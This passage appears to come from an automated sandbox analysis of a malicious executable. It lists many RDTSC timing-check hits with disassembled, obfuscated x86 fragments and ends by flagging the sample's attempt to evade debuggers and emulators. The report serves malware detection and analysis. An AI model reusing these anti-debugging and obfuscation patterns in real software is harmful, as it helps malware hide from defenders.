push FFFFFFFFh 0x0000006c pushad 0x0000006d call 00007FECA473F0C8h 0x00000072 jmp 00007FECA473F0C6h 0x00000077 pop edi 0x00000078 xor edi, 735A14C7h 0x0000007e popad 0x0000007f nop 0x00000080 jmp 00007FECA473F0C0h 0x00000085 push eax 0x00000086 push eax 0x00000087 push edx 0x00000088 jnl 00007FECA473F0B8h 0x0000008e rdtsc
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	RDTSC instruction interceptor: First address: EF5596 second address: EF559D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	RDTSC instruction interceptor: First address: EF7443 second address: EF74FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jne 00007FECA473F0BCh 0x0000000b popad 0x0000000c mov dword ptr [esp], eax 0x0000000f push 00000000h 0x00000011 push ebx 0x00000012 call 00007FECA473F0B8h 0x00000017 pop ebx 0x00000018 mov dword ptr [esp+04h], ebx 0x0000001c add dword ptr [esp+04h], 00000019h 0x00000024 inc ebx 0x00000025 push ebx 0x00000026 ret 0x00000027 pop ebx 0x00000028 ret 0x00000029 mov ebx, 2CE9DEFAh 0x0000002e mov bx, si 0x00000031 push dword ptr fs:[00000000h] 0x00000038 jmp 00007FECA473F0C3h 0x0000003d mov dword ptr fs:[00000000h], esp 0x00000044 push 00000000h 0x00000046 push ebp 0x00000047 call 00007FECA473F0B8h 0x0000004c pop ebp 0x0000004d mov dword ptr [esp+04h], ebp 0x00000051 add dword ptr [esp+04h], 0000001Bh 0x00000059 inc ebp 0x0000005a push ebp 0x0000005b ret 0x0000005c pop ebp 0x0000005d ret 0x0000005e mov dword ptr [ebp+122D25F2h], ebx 0x00000064 mov eax, dword ptr [ebp+122D0D19h] 0x0000006a sbb edi, 7BD62656h 0x00000070 jng 00007FECA473F0BCh 0x00000076 push FFFFFFFFh 0x00000078 mov bh, 34h 0x0000007a push eax 0x0000007b push eax 0x0000007c push edx 0x0000007d pushad 0x0000007e jmp 00007FECA473F0BFh 0x00000083 pushad 0x00000084 popad 0x00000085 popad 0x00000086 rdtsc
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	RDTSC instruction interceptor: First address: EF74FD second address: EF7503 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	RDTSC instruction interceptor: First address: EF7503 second address: EF7507 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	RDTSC instruction interceptor: First address: F09D0E second address: F09D12 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	RDTSC instruction interceptor: First address: EFC731 second address: EFC736 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	RDTSC instruction interceptor: First address: EFD751 second address: EFD77B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FECA471BCAAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push edi 0x0000000c jmp 00007FECA471BCB5h 0x00000011 pop edi 0x00000012 push ecx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	RDTSC instruction interceptor: First address: EFD77B second address: EFD823 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 popad 0x00000006 nop 0x00000007 ja 00007FECA473F0BBh 0x0000000d mov edi, dword ptr [ebp+122D2CF6h] 0x00000013 push dword ptr fs:[00000000h] 0x0000001a mov bh, FAh 0x0000001c mov bx, 1845h 0x00000020 mov dword ptr fs:[00000000h], esp 0x00000027 jne 00007FECA473F0B9h 0x0000002d mov dword ptr [ebp+122D2FD7h], ecx 0x00000033 mov eax, dword ptr [ebp+122D0561h] 0x00000039 push 00000000h 0x0000003b push esi 0x0000003c call 00007FECA473F0B8h 0x00000041 pop esi 0x00000042 mov dword ptr [esp+04h], esi 0x00000046 add dword ptr [esp+04h], 00000017h 0x0000004e inc esi 0x0000004f push esi 0x00000050 ret 0x00000051 pop esi 0x00000052 ret 0x00000053 mov edi, dword ptr [ebp+122D1D43h] 0x00000059 jp 00007FECA473F0BBh 0x0000005f sbb bl, 00000030h 0x00000062 push FFFFFFFFh 0x00000064 push 00000000h 0x00000066 push eax 0x00000067 call 00007FECA473F0B8h 0x0000006c pop eax 0x0000006d mov dword ptr [esp+04h], eax 0x00000071 add dword ptr [esp+04h], 0000001Ah 0x00000079 inc eax 0x0000007a push eax 0x0000007b ret 0x0000007c pop eax 0x0000007d ret 0x0000007e mov dword ptr [ebp+1244E52Dh], eax 0x00000084 push eax 0x00000085 jc 00007FECA473F0D3h 0x0000008b pushad 0x0000008c push eax 0x0000008d push edx 0x0000008e rdtsc
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	RDTSC instruction interceptor: First address: F0EA2C second address: F0EA47 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jl 00007FECA471BCA6h 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 jmp 00007FECA471BCABh 0x00000015 rdtsc
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	RDTSC instruction interceptor: First address: EA26C4 second address: EA26E0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FECA473F0C8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	RDTSC instruction interceptor: First address: EFE8E4 second address: EFE97D instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FECA471BCA8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d push 00000000h 0x0000000f push esi 0x00000010 call 00007FECA471BCA8h 0x00000015 pop esi 0x00000016 mov dword ptr [esp+04h], esi 0x0000001a add dword ptr [esp+04h], 00000014h 0x00000022 inc esi 0x00000023 push esi 0x00000024 ret 0x00000025 pop esi 0x00000026 ret 0x00000027 mov dword ptr [ebp+122D2E5Eh], ecx 0x0000002d push dword ptr fs:[00000000h] 0x00000034 mov dword ptr fs:[00000000h], esp 0x0000003b push ecx 0x0000003c mov dword ptr [ebp+12460D21h], ebx 0x00000042 pop edi 0x00000043 mov eax, dword ptr [ebp+122D02C5h] 0x00000049 push 00000000h 0x0000004b push edx 0x0000004c call 00007FECA471BCA8h 0x00000051 pop edx 0x00000052 mov dword ptr [esp+04h], edx 0x00000056 add dword ptr [esp+04h], 0000001Ah 0x0000005e inc edx 0x0000005f push edx 0x00000060 ret 0x00000061 pop edx 0x00000062 ret 0x00000063 mov ebx, 1D5C5B43h 0x00000068 mov edi, edx 0x0000006a push FFFFFFFFh 0x0000006c jmp 00007FECA471BCB6h 0x00000071 push eax 0x00000072 push eax 0x00000073 push edx 0x00000074 jg 00007FECA471BCA8h 0x0000007a rdtsc
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	RDTSC instruction interceptor: First address: EFF9BA second address: EFF9BE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	RDTSC instruction interceptor: First address: EFF9BE second address: EFF9C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	RDTSC instruction interceptor: First address: EFF9C4 second address: EFF9CA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	RDTSC instruction interceptor: First address: EFF9CA second address: EFF9E5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FECA471BCAAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push ecx 0x0000000f jo 00007FECA471BCA6h 0x00000015 pop ecx 0x00000016 rdtsc
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	RDTSC instruction interceptor: First address: F01AB8 second address: F01ABC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	RDTSC instruction interceptor: First address: F01ABC second address: F01ACA instructions: 0x00000000 rdtsc 0x00000002 jc 00007FECA471BCA6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	RDTSC instruction interceptor: First address: F01ACA second address: F01ACE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	RDTSC instruction interceptor: First address: F01ACE second address: F01AED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FECA471BCB5h 0x0000000f rdtsc
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	RDTSC instruction interceptor: First address: F02AF3 second address: F02AF8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	RDTSC instruction interceptor: First address: F02B95 second address: F02B99 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	RDTSC instruction interceptor: First address: F02B99 second address: F02B9D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	RDTSC instruction interceptor: First address: EA938E second address: EA93B1 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jmp 00007FECA471BCB3h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push edx 0x0000000c jno 00007FECA471BCA6h 0x00000012 push eax 0x00000013 pop eax 0x00000014 pop edx 0x00000015 rdtsc
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	RDTSC instruction interceptor: First address: F19B87 second address: F19B8D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	RDTSC instruction interceptor: First address: F19B8D second address: F19B9E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push edx 0x00000008 pop edx 0x00000009 jg 00007FECA471BCA6h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	RDTSC instruction interceptor: First address: F1A6EF second address: F1A703 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FECA473F0C0h 0x00000009 rdtsc
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	RDTSC instruction interceptor: First address: F1A703 second address: F1A708 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	RDTSC instruction interceptor: First address: F1A840 second address: F1A84A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007FECA473F0B6h 0x0000000a rdtsc
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	RDTSC instruction interceptor: First address: F1A84A second address: F1A84E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	RDTSC instruction interceptor: First address: F1A9BA second address: F1A9C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	RDTSC instruction interceptor: First address: F1ACE2 second address: F1ACE7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	RDTSC instruction interceptor: First address: F1DB7B second address: F1DB82 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	RDTSC instruction interceptor: First address: F1DB82 second address: F1DB88 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	RDTSC instruction interceptor: First address: F1DB88 second address: F1DB8C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	RDTSC instruction interceptor: First address: EEFEDB second address: ECD779 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FECA471BCACh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d push 00000000h 0x0000000f push edx 0x00000010 call 00007FECA471BCA8h 0x00000015 pop edx 0x00000016 mov dword ptr [esp+04h], edx 0x0000001a add dword ptr [esp+04h], 0000001Ch 0x00000022 inc edx 0x00000023 push edx 0x00000024 ret 0x00000025 pop edx 0x00000026 ret 0x00000027 jmp 00007FECA471BCAAh 0x0000002c call dword ptr [ebp+122D2DE7h] 0x00000032 jo 00007FECA471BCBDh 0x00000038 jmp 00007FECA471BCB7h 0x0000003d pushad 0x0000003e pushad 0x0000003f jnp 00007FECA471BCA6h 0x00000045 pushad 0x00000046 popad 0x00000047 popad 0x00000048 jmp 00007FECA471BCABh 0x0000004d push eax 0x0000004e push edx 0x0000004f push eax 0x00000050 push edx 0x00000051 rdtsc
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	RDTSC instruction interceptor: First address: EF00ED second address: EF00F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	RDTSC instruction interceptor: First address: EF00F3 second address: EF00F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	RDTSC instruction interceptor: First address: EF00F8 second address: EF00FE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	RDTSC instruction interceptor: First address: EF00FE second address: EF0102 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	RDTSC instruction interceptor: First address: EF04D4 second address: EF056B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop edx 0x00000006 xor dword ptr [esp], 1F0F5347h 0x0000000d or dh, 0000000Ch 0x00000010 call 00007FECA473F0B9h 0x00000015 jng 00007FECA473F0BAh 0x0000001b push eax 0x0000001c pushad 0x0000001d popad 0x0000001e pop eax 0x0000001f push eax 0x00000020 jmp 00007FECA473F0C1h 0x00000025 mov eax, dword ptr [esp+04h] 0x00000029 jg 00007FECA473F0C9h 0x0000002f mov eax, dword ptr [eax] 0x00000031 js 00007FECA473F0DEh 0x00000037 pushad 0x00000038 jmp 00007FECA473F0C6h 0x0000003d jmp 00007FECA473F0C0h 0x00000042 popad 0x00000043 mov dword ptr [esp+04h], eax 0x00000047 push eax 0x00000048 push edx 0x00000049 jmp 00007FECA473F0BFh 0x0000004e rdtsc
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	RDTSC instruction interceptor: First address: EF056B second address: EF0570 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	RDTSC instruction interceptor: First address: EF0975 second address: EF098C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FECA473F0C3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	RDTSC instruction interceptor: First address: EF098C second address: EF0991 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	RDTSC instruction interceptor: First address: EF0991 second address: EF0997 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	RDTSC instruction interceptor: First address: EF1111 second address: EF1116 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	RDTSC instruction interceptor: First address: EF1269 second address: EF1282 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FECA473F0C1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d rdtsc
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	RDTSC instruction interceptor: First address: EF1282 second address: EF1286 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	RDTSC instruction interceptor: First address: EF1286 second address: ECE327 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 jmp 00007FECA473F0C8h 0x0000000d nop 0x0000000e mov edi, 6D5AE8E2h 0x00000013 push esi 0x00000014 mov ecx, 6237AFBAh 0x00000019 pop ecx 0x0000001a call dword ptr [ebp+122D3134h] 0x00000020 ja 00007FECA473F0C0h 0x00000026 pushad 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	RDTSC instruction interceptor: First address: EA4230 second address: EA4236 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	RDTSC instruction interceptor: First address: EA4236 second address: EA427C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007FECA473F0B6h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d pushad 0x0000000e js 00007FECA473F0B6h 0x00000014 jo 00007FECA473F0B6h 0x0000001a popad 0x0000001b pop eax 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007FECA473F0C3h 0x00000023 pushad 0x00000024 jbe 00007FECA473F0B6h 0x0000002a push ecx 0x0000002b pop ecx 0x0000002c jmp 00007FECA473F0BAh 0x00000031 push eax 0x00000032 push edx 0x00000033 rdtsc
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	RDTSC instruction interceptor: First address: EA427C second address: EA4281 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	RDTSC instruction interceptor: First address: F2137F second address: F2138B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jne 00007FECA473F0B6h 0x0000000c rdtsc
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	RDTSC instruction interceptor: First address: F2178E second address: F217A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FECA471BCB1h 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	RDTSC instruction interceptor: First address: F217A6 second address: F217BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007FECA473F0B6h 0x0000000a push esi 0x0000000b pop esi 0x0000000c popad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 jbe 00007FECA473F0B6h 0x00000018 rdtsc
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	RDTSC instruction interceptor: First address: F217BE second address: F217C2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	RDTSC instruction interceptor: First address: F217C2 second address: F217E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FECA473F0C9h 0x0000000b rdtsc
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	RDTSC instruction interceptor: First address: F217E1 second address: F217EB instructions: 0x00000000 rdtsc 0x00000002 js 00007FECA471BCB2h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	RDTSC instruction interceptor: First address: F21BE8 second address: F21BF2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007FECA473F0B6h 0x0000000a rdtsc
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	RDTSC instruction interceptor: First address: F268C1 second address: F268C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	RDTSC instruction interceptor: First address: F26372 second address: F26388 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push edi 0x00000007 pop edi 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007FECA473F0BAh 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	RDTSC instruction interceptor: First address: F26EE0 second address: F26EE4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	RDTSC instruction interceptor: First address: F26EE4 second address: F26EFA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FECA473F0BDh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push edi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	RDTSC instruction interceptor: First address: F3065C second address: F30667 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edi 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	RDTSC instruction interceptor: First address: F30667 second address: F3066B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	RDTSC instruction interceptor: First address: F3066B second address: F3066F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	RDTSC instruction interceptor: First address: F3066F second address: F30675 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	RDTSC instruction interceptor: First address: F30675 second address: F30680 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 ja 00007FECA471BCA6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	RDTSC instruction interceptor: First address: EAC971 second address: EAC9B8 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FECA473F0B6h 0x00000008 jmp 00007FECA473F0C6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jmp 00007FECA473F0C7h 0x00000014 push edx 0x00000015 jmp 00007FECA473F0BDh 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	RDTSC instruction interceptor: First address: F2F0E9 second address: F2F0ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	RDTSC instruction interceptor: First address: F2F252 second address: F2F276 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 jmp 00007FECA473F0BDh 0x0000000a jmp 00007FECA473F0BDh 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 push ebx 0x00000013 pop ebx 0x00000014 rdtsc
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	RDTSC instruction interceptor: First address: F2F3FB second address: F2F400 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	RDTSC instruction interceptor: First address: F2F67A second address: F2F67F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	RDTSC instruction interceptor: First address: F2F67F second address: F2F684 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	RDTSC instruction interceptor: First address: F2FACA second address: F2FACE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	RDTSC instruction interceptor: First address: F30058 second address: F3005C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	RDTSC instruction interceptor: First address: F3005C second address: F30060 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	RDTSC instruction interceptor: First address: F30508 second address: F30516 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007FECA471BCA6h 0x0000000a popad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	RDTSC instruction interceptor: First address: F336AA second address: F336C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FECA473F0BEh 0x0000000e rdtsc
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	RDTSC instruction interceptor: First address: F366DC second address: F3670F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 jmp 00007FECA471BCB4h 0x0000000a popad 0x0000000b pushad 0x0000000c jmp 00007FECA471BCAAh 0x00000011 push eax 0x00000012 push edx 0x00000013 jns 00007FECA471BCA6h 0x00000019 jbe 00007FECA471BCA6h 0x0000001f rdtsc
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	RDTSC instruction interceptor: First address: F35F8D second address: F35FA0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push ebx 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b popad 0x0000000c pop ebx 0x0000000d push esi 0x0000000e push edi 0x0000000f pop edi 0x00000010 push ebx 0x00000011 pop ebx 0x00000012 pop esi 0x00000013 rdtsc
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	RDTSC instruction interceptor: First address: F3643D second address: F36449 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jc 00007FECA471BCA6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc

Tries to evade debugger and weak emulator (self modifying code)

